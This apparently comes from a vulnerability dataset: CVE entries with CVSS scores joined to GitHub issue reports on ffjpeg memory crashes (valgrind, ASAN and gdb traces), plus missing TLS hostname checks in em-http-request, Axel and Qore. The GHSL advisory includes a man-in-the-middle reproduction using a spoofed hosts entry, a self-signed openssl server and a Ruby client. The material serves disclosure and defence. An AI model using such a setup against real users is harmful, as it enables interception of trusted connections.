Tested in Ubuntu 16.04, 64bit. The tesecase is [heap-buffer-overflow_ffjpeg_d1](https://github.com/xiaoxiongwang/function_bugs/blob/master/ffjpeg/heap-buffer-overflow_ffjpeg_d1). I use the following command: ``` ffjpeg -d heap-buffer-overflow_ffjpeg_d1 ``` and get: ``` Segmentation fault ``` I use **valgrind** to analysis the bug and get the below information (absolute path information omitted): ``` ==22952== Memcheck, a memory error detector ==22952== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==22952== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==22952== Command: ffjpeg -d heap-buffer-overflow_ffjpeg_d1 ==22952== ==22952== Conditional jump or move depends on uninitialised value(s) ==22952== at 0x40E6D0: yuv_to_rgb (color.c:26) ==22952== by 0x40BB0F: jfif_decode (jfif.c:546) ==22952== by 0x400E3A: main (ffjpeg.c:24) ==22952== ==22952== Conditional jump or move depends on uninitialised value(s) ==22952== at 0x40E759: yuv_to_rgb (color.c:27) ==22952== by 0x40BB0F: jfif_decode (jfif.c:546) ==22952== by 0x400E3A: main (ffjpeg.c:24) ==22952== ==22952== Conditional jump or move depends on uninitialised value(s) ==22952== at 0x40E646: yuv_to_rgb (color.c:25) ==22952== by 0x40BB0F: jfif_decode (jfif.c:546) ==22952== by 0x400E3A: main (ffjpeg.c:24) ==22952== ==22952== Invalid read of size 4 ==22952== at 0x40BB00: jfif_decode (jfif.c:546) ==22952== by 0x400E3A: main (ffjpeg.c:24) ==22952== Address 0x521f058 is 0 bytes after a block of size 21,384 alloc'd ==22952== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22952== by 0x409DB9: jfif_decode (jfif.c:443) ==22952== by 0x400E3A: main (ffjpeg.c:24) ==22952== ==22952== Syscall param write(buf) points to uninitialised byte(s) ==22952== at 0x4F312C0: __write_nocancel (syscall-template.S:84) ==22952== by 0x4EB2BFE: _IO_file_write@@GLIBC_2.2.5 (fileops.c:1263) ==22952== by 0x4EB4408: new_do_write (fileops.c:518) ==22952== by 0x4EB4408: _IO_do_write@@GLIBC_2.2.5 (fileops.c:494) ==22952== by 0x4EB347C: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1331) ==22952== by 0x4EA87BA: fwrite (iofwrite.c:39) ==22952== by 0x401AE2: bmp_save (bmp.c:97) ==22952== by 0x400E4F: main (ffjpeg.c:26) ==22952== Address 0x52dffe8 is 56 bytes inside a block of size 4,096 alloc'd ==22952== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22952== by 0x4EA71D4: _IO_file_doallocate (filedoalloc.c:127) ==22952== by 0x4EB5593: _IO_doallocbuf (genops.c:398) ==22952== by 0x4EB48F7: _IO_file_overflow@@GLIBC_2.2.5 (fileops.c:820) ==22952== by 0x4EB328C: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1331) ==22952== by 0x4EA87BA: fwrite (iofwrite.c:39) ==22952== by 0x401A30: bmp_save (bmp.c:93) ==22952== by 0x400E4F: main (ffjpeg.c:26) ==22952== ==22952== Syscall param write(buf) points to uninitialised byte(s) ==22952== at 0x4F312C0: __write_nocancel (syscall-template.S:84) ==22952== by 0x4EB2BFE: _IO_file_write@@GLIBC_2.2.5 (fileops.c:1263) ==22952== by 0x4EB4408: new_do_write (fileops.c:518) ==22952== by 0x4EB4408: _IO_do_write@@GLIBC_2.2.5 (fileops.c:494) ==22952== by 0x4EB39AF: _IO_file_close_it@@GLIBC_2.2.5 (fileops.c:165) ==22952== by 0x4EA73EE: fclose@@GLIBC_2.2.5 (iofclose.c:58) ==22952== by 0x401B63: bmp_save (bmp.c:99) ==22952== by 0x400E4F: main (ffjpeg.c:26) ==22952== Address 0x52dffb0 is 0 bytes inside a block of size 4,096 alloc'd ==22952== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22952== by 0x4EA71D4: _IO_file_doallocate (filedoalloc.c:127) ==22952== by 0x4EB5593: _IO_doallocbuf (genops.c:398) ==22952== by 0x4EB48F7: _IO_file_overflow@@GLIBC_2.2.5 (fileops.c:820) ==22952== by 0x4EB328C: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1331) ==22952== by 0x4EA87BA: fwrite (iofwrite.c:39) ==22952== by 0x401A30: bmp_save (bmp.c:93) ==22952== by 0x400E4F: main (ffjpeg.c:26) ==22952== ==22952== ==22952== HEAP SUMMARY: ==22952== in use at exit: 0 bytes in 0 blocks ==22952== total heap usage: 19 allocs, 19 frees, 9,423,684 bytes allocated ==22952== ==22952== All heap blocks were freed -- no leaks are possible ==22952== ==22952== For counts of detected and suppressed errors, rerun with: -v ==22952== Use --track-origins=yes to see where uninitialised values come from ==22952== ERROR SUMMARY: 776684 errors from 6 contexts (suppressed: 0 from 0) ``` I use **AddressSanitizer** to build ffjpeg and running it with the following command: ``` ffjpeg -e heap-buffer-overflow_ffjpeg_d1 ``` This is the ASAN information (absolute path information omitted): ``` ================================================================= ==687==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x000000405c60 bp 0x7ffccf9b8f90 sp 0x7ffccf9b8f80 READ of size 4 at 0x60200000efd0 thread T0 #0 0x405c5f in jfif_decode ffjpeg/src/jfif.c:546 #1 0x401233 in main (ffjpeg/src/ffjpeg+0x401233) #2 0x7f0380f4582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #3 0x4010c8 in _start (ffjpeg/src/ffjpeg+0x4010c8) 0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1) allocated by thread T0 here: #0 0x7f0381387662 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98662) #1 0x404c01 in jfif_decode ffjpeg/src/jfif.c:444 #2 0x401233 in main (ffjpeg/src/ffjpeg+0x401233) #3 0x7f0380f4582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow ffjpeg/src/jfif.c:546 jfif_decode Shadow bytes around the buggy address: 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 01 fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==687==ABORTING ``` The gdb reports (absolute path information omitted):: ``` Starting program: ffjpeg -d heap-buffer-overflow_ffjpeg_d1 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x82f4 RBX: 0x7ffff77cd47c --> 0x0 RCX: 0x7ffff7f5b420 --> 0x0 RDX: 0x215c5400 ('') RSI: 0xe RDI: 0x0 RBP: 0x8480 RSP: 0x7fffffffd570 --> 0x0 RIP: 0x40bb00 (<jfif_decode+11520>: mov esi,DWORD PTR [r9+rax*4]) R8 : 0x7ffff7f5b41f --> 0x0 R9 : 0x622430 --> 0x0 R10: 0xff R11: 0x215c5400 ('') R12: 0x7ffff7f5b41e --> 0x0 R13: 0x622010 --> 0x202000000020 (' ') R14: 0x1b R15: 0xe8a EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40baf6 <jfif_decode+11510>: mov edx,r11d 0x40baf9 <jfif_decode+11513>: cdqe 0x40bafb <jfif_decode+11515>: add rax,QWORD PTR [rsp+0x10] => 0x40bb00 <jfif_decode+11520>: mov esi,DWORD PTR [r9+rax*4] 0x40bb04 <jfif_decode+11524>: mov r9,r12 0x40bb07 <jfif_decode+11527>: add r12,0x3 0x40bb0b <jfif_decode+11531>: call 0x40e5c0 <yuv_to_rgb> 0x40bb10 <jfif_decode+11536>: mov ecx,DWORD PTR [r13+0x0] [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd570 --> 0x0 0008| 0x7fffffffd578 --> 0x200 0016| 0x7fffffffd580 --> 0x82da 0024| 0x7fffffffd588 --> 0x6221d0 --> 0xe0000000e 0032| 0x7fffffffd590 --> 0xe00000000 0040| 0x7fffffffd598 --> 0x680000000e 0048| 0x7fffffffd5a0 --> 0x7ffff71eb010 --> 0xe8db8effba253b 0056| 0x7fffffffd5a8 --> 0x4a00000080 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040bb00 in jfif_decode (ctxt=ctxt@entry=0x622010, pb=pb@entry=0x7fffffffd840) at jfif.c:546 546 yuv_to_rgb(*ysrc, *vsrc, *usrc, bdst + 2, bdst + 1, bdst + 0); gdb-peda$ bt #0 0x000000000040bb00 in jfif_decode (ctxt=ctxt@entry=0x622010, pb=pb@entry=0x7fffffffd840) at jfif.c:546 #1 0x0000000000400e3b in main (argc=argc@entry=0x3, argv=argv@entry=0x7fffffffd948) at ffjpeg.c:24 #2 0x00007ffff7a2d830 in __libc_start_main (main=0x400be0 <main>, argc=0x3, argv=0x7fffffffd948, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd938) at ../csu/libc-start.c:291 #3 0x0000000000401019 in _start () ``` An attacker can exploit this vulnerability by submitting a malicious bmp that exploits this bug which will result in a Denial of Service (DoS).

heap-buffer-overflow in function jfif_decode at jfif.c:546

https://api.github.com/repos/rockcarry/ffjpeg/issues/24/comments

2

2020-05-23T17:09:21Z

2020-07-27T08:17:04Z

https://github.com/rockcarry/ffjpeg/issues/24

623,701,677

24

1,236

CVE-2020-13440

2020-05-24T23:15:09.990

ffjpeg through 2020-02-24 has an invalid write in bmp_load in bmp.c.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/rockcarry/ffjpeg/issues/22" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/rockcarry/ffjpeg/issues/22" } ]

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[ "787" ]

787

https://github.com/rockcarry/ffjpeg/issues/22

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "rockcarry", "ffjpeg" ]

Tested in Ubuntu 16.04, 64bit. The testcase is [segv_ffjpeg_e1](https://github.com/xiaoxiongwang/function_bugs/blob/master/ffjpeg/segv_ffjpeg_e1). I use the following command: ``` ffjpeg -e segv_ffjpeg_e1 ``` and get: ``` Segmentation fault ``` I use **valgrind** to analysis the bug and get the below information (absolute path information omitted): ``` ==15595== Memcheck, a memory error detector ==15595== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==15595== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==15595== Command: ffjpeg -e segv_ffjpeg_e ==15595== ==15595== Invalid write of size 1 ==15595== at 0x4C35035: __GI_mempcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15595== by 0x4EB303D: _IO_file_xsgetn (fileops.c:1392) ==15595== by 0x4EA8235: fread (iofread.c:38) ==15595== by 0x4016D9: fread (stdio2.h:295) ==15595== by 0x4016D9: bmp_load (bmp.c:57) ==15595== by 0x400F2B: main (ffjpeg.c:29) ==15595== Address 0x852060cf is not stack'd, malloc'd or (recently) free'd ==15595== ==15595== ==15595== Process terminating with default action of signal 11 (SIGSEGV) ==15595== Access not within mapped region at address 0x852060CF ==15595== at 0x4C35035: __GI_mempcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15595== by 0x4EB303D: _IO_file_xsgetn (fileops.c:1392) ==15595== by 0x4EA8235: fread (iofread.c:38) ==15595== by 0x4016D9: fread (stdio2.h:295) ==15595== by 0x4016D9: bmp_load (bmp.c:57) ==15595== by 0x400F2B: main (ffjpeg.c:29) ==15595== If you believe this happened as a result of a stack ==15595== overflow in your program's main thread (unlikely but ==15595== possible), you can try to increase the size of the ==15595== main thread stack using the --main-stacksize= flag. ==15595== The main thread stack size used in this run was 8388608. ==15595== ==15595== HEAP SUMMARY: ==15595== in use at exit: 3,624 bytes in 2 blocks ==15595== total heap usage: 3 allocs, 1 frees, 7,720 bytes allocated ==15595== ==15595== LEAK SUMMARY: ==15595== definitely lost: 0 bytes in 0 blocks ==15595== indirectly lost: 0 bytes in 0 blocks ==15595== possibly lost: 0 bytes in 0 blocks ==15595== still reachable: 3,624 bytes in 2 blocks ==15595== suppressed: 0 bytes in 0 blocks ==15595== Rerun with --leak-check=full to see details of leaked memory ==15595== ==15595== For counts of detected and suppressed errors, rerun with: -v ==15595== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) Segmentation fault ``` I use **AddressSanitizer** to build ffjpeg and running it with the following command: ``` ffjpeg -e segv_ffjpeg_e1 ``` This is the ASAN information (absolute path information omitted): ``` ASAN:SIGSEGV ================================================================= ==16256==ERROR: AddressSanitizer: SEGV on unknown address 0x61f08000fa20 (pc 0x7fdcba5a8443 bp 0x000000000240 sp 0x7ffe28f759f8 T0) #0 0x7fdcba5a8442 (/lib/x86_64-linux-gnu/libc.so.6+0x8f442) #1 0x7fdcba59203d (/lib/x86_64-linux-gnu/libc.so.6+0x7903d) #2 0x7fdcba587235 in _IO_fread (/lib/x86_64-linux-gnu/libc.so.6+0x6e235) #3 0x401670 in bmp_load ffjpeg/src/bmp.c:57 #4 0x401294 in main (ffjpeg/src/ffjpeg+0x401294) #5 0x7fdcba53982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x4010c8 in _start (ffjpeg/src/ffjpeg+0x4010c8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? ==16256==ABORTING ``` An attacker can exploit this vulnerability by submitting a malicious bmp that exploits this bug which will result in a Denial of Service (DoS).

SEGV in function bmp_load at bmp.c:57

https://api.github.com/repos/rockcarry/ffjpeg/issues/22/comments

3

2020-05-23T17:07:53Z

2022-05-22T03:18:28Z

https://github.com/rockcarry/ffjpeg/issues/22

623,701,352

22

1,237

CVE-2020-13482

2020-05-25T22:15:09.860

EM-HTTP-Request 1.1.5 uses the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.4, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1" }, "exploitabilityScore": 2.2, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/igrigorik/em-http-request/issues/339" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MKYP5TR5NTVVDX5R4HCNNH2OQR7M4X3J/" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Z32PUJA6RGBZ3TKSOTGUXZ45662S3MVF/" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://securitylab.github.com/advisories/GHSL-2020-094-igrigorik-em-http-request" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/igrigorik/em-http-request/issues/339" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MKYP5TR5NTVVDX5R4HCNNH2OQR7M4X3J/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Z32PUJA6RGBZ3TKSOTGUXZ45662S3MVF/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://securitylab.github.com/advisories/GHSL-2020-094-igrigorik-em-http-request" } ]

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[ "295" ]

295

https://github.com/igrigorik/em-http-request/issues/339

[ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "igrigorik", "em-http-request" ]

# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-094` ## Summary Missing hostname validation allows an attacker to perform a man in the middle attack against users of the library. ## Product em-http-request ## Tested Version 1.1.5 ### Missing SSL/TLS certificate hostname validation [em-http-request](https://github.com/igrigorik/em-http-request) uses the library [eventmachine](https://github.com/eventmachine/eventmachine) in an insecure way that allows an attacker to perform a man in the middle attack against users of the library. #### Impact An attacker can assume the identity of a trusted server and introduce malicious data in an otherwise trusted place. #### Remediation Implement hostname validation. #### Resources To trigger the vulnerability, a simple TLS enabled listening daemon is sufficient as described in the following snippets. ```sh # Add a fake DNS entry to /etc/hosts. $ echo "127.0.0.1 test.coinbase.com" | sudo tee -a /etc/hosts # Create a certificate. $ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes # Listen on port 443 with TLS enabled. $ openssl s_server -key key.pem -cert cert.pem -accept 443 Using auto DH parameters Using default temp ECDH parameters ACCEPT -----BEGIN SSL SESSION PARAMETERS----- MGoCAQECAgMDBALAMAQABDDtsipRTslOpunNYATFLBo/Urf61flD0RYbyS0cpgwt cH5uPqX4CKfCYg196MsV+HehBgIEXrqnkKIEAgIcIKQGBAQBAAAAphMEEXRlc3Qu Y29pbmJhc2UuY29t -----END SSL SESSION PARAMETERS----- Shared ciphers:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:DHE-RSA-CAMELLIA256-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:DHE-RSA-CAMELLIA256-SHA:AES256-GCM-SHA384:AES256-SHA256:CAMELLIA256-SHA256:AES256-SHA:CAMELLIA256-SHA:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-CAMELLIA128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:DHE-RSA-CAMELLIA128-SHA:AES128-GCM-SHA256:AES128-SHA256:CAMELLIA128-SHA256:AES128-SHA:CAMELLIA128-SHA CIPHER is ECDHE-RSA-AES256-GCM-SHA384 Secure Renegotiation IS supported GET / HTTP/1.1 Connection: close Host: test.coinbase.com User-Agent: EventMachine HttpClient Accept-Encoding: gzip, compressed ``` Create a sample client with the following contents: ```ruby require 'rubygems' require 'eventmachine' require 'em-http' urls = ARGV if urls.size < 1 puts "Usage: #{$0} <url> <url> <...>" exit end pending = urls.size EM.run do urls.each do |url| http = EM::HttpRequest.new(url).get http.callback { puts "#{url}\n#{http.response_header.status} - #{http.response.length} bytes\n" puts http.response pending -= 1 EM.stop if pending < 1 } http.errback { puts "#{url}\n" + http.error pending -= 1 EM.stop if pending < 1 } end end ``` Run the example client to see a connection being performed in the listening daemon initialized in the previous steps. ```sh $ ruby em-http-request-client.rb "https://test.coinbase.com" ``` #### References [CWE-297: Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html) ## GitHub Security Advisories We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). ## Credit This issue was discovered and reported by GHSL team member [@agustingianni (Agustin Gianni)](https://github.com/agustingianni).

Security vulnerability: missing SSL hostname validation

https://api.github.com/repos/igrigorik/em-http-request/issues/339/comments

10

2020-05-24T21:28:35Z

2020-06-01T23:55:37Z

https://github.com/igrigorik/em-http-request/issues/339

623,949,977

339

1,238

CVE-2020-13614

2020-05-26T23:15:10.460

An issue was discovered in ssl.c in Axel before 2.17.8. The TLS implementation lacks hostname verification.

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[ { "source": "cve@mitre.org", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00006.html" }, { "source": "cve@mitre.org", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00010.html" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axel-download-accelerator/axel/issues/262" }, { "source": "cve@mitre.org", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/axel-download-accelerator/axel/releases/tag/v2.17.8" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LPZUQSDGV5XDBJGHBWBHWJIBE47Q4QIB/" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S3ECAKIZA2TGBYLUQTLGRMXUFIOGRHG3/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00006.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00010.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axel-download-accelerator/axel/issues/262" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/axel-download-accelerator/axel/releases/tag/v2.17.8" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LPZUQSDGV5XDBJGHBWBHWJIBE47Q4QIB/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S3ECAKIZA2TGBYLUQTLGRMXUFIOGRHG3/" } ]

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[ "295" ]

295

https://github.com/axel-download-accelerator/axel/issues/262

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axel-download-accelerator", "axel" ]

It looks like Axel's SSL's connections do not verify server certificate hostnames. To fix this the SSL context should set a certificate callback or use `SSL_set1_host` to set the intended hostname. This is an issue since it uses `SSL_CTX_set_default_verify_paths` and loads all root authorities from the OS. See https://wiki.openssl.org/index.php/Hostname_validation for a description of this nuance with the OpenSSL APIs. Here is potentially insecure code https://github.com/axel-download-accelerator/axel/blob/master/src/ssl.c#L83 ```cpp [...] ssl_ctx = SSL_CTX_new(SSLv23_client_method()); if (!conf->insecure) { SSL_CTX_set_default_verify_paths(ssl_ctx); SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL); } SSL_CTX_set_mode(ssl_ctx, SSL_MODE_AUTO_RETRY); ssl = SSL_new(ssl_ctx); SSL_set_fd(ssl, fd); SSL_set_tlsext_host_name(ssl, hostname); int err = SSL_connect(ssl); if (err <= 0) { [...] ```

Axel may not verify server certificate CN/SAN/hostname (allowing SSL interception)

https://api.github.com/repos/axel-download-accelerator/axel/issues/262/comments

0

2020-03-16T22:55:56Z

2020-03-23T22:35:39Z

https://github.com/axel-download-accelerator/axel/issues/262

582,644,624

262

1,239

CVE-2020-13615

2020-05-26T23:15:10.973

lib/QoreSocket.cpp in Qore before 0.9.4.2 lacks hostname verification for X.509 certificates.

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[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qorelanguage/qore/compare/release-0.9.4.1...release-0.9.4.2" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qorelanguage/qore/issues/3808" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qorelanguage/qore/compare/release-0.9.4.1...release-0.9.4.2" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qorelanguage/qore/issues/3808" } ]

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295

https://github.com/qorelanguage/qore/issues/3808

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github.com

[ "qorelanguage", "qore" ]

see: https://gist.github.com/theopolis/aeaa8e4808f6b09328dd6996a2ed6c34

Qore does not perform hostname validation during certification X.509 validation

https://api.github.com/repos/qorelanguage/qore/issues/3808/comments

0

2020-03-04T06:46:33Z

2020-03-07T15:11:28Z

https://github.com/qorelanguage/qore/issues/3808

575,174,425

3,808

1,240

CVE-2020-13622

2020-05-27T00:15:11.497

JerryScript 2.2.0 allows attackers to cause a denial of service (assertion failure) because a property key query for a Proxy object returns unintended data.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

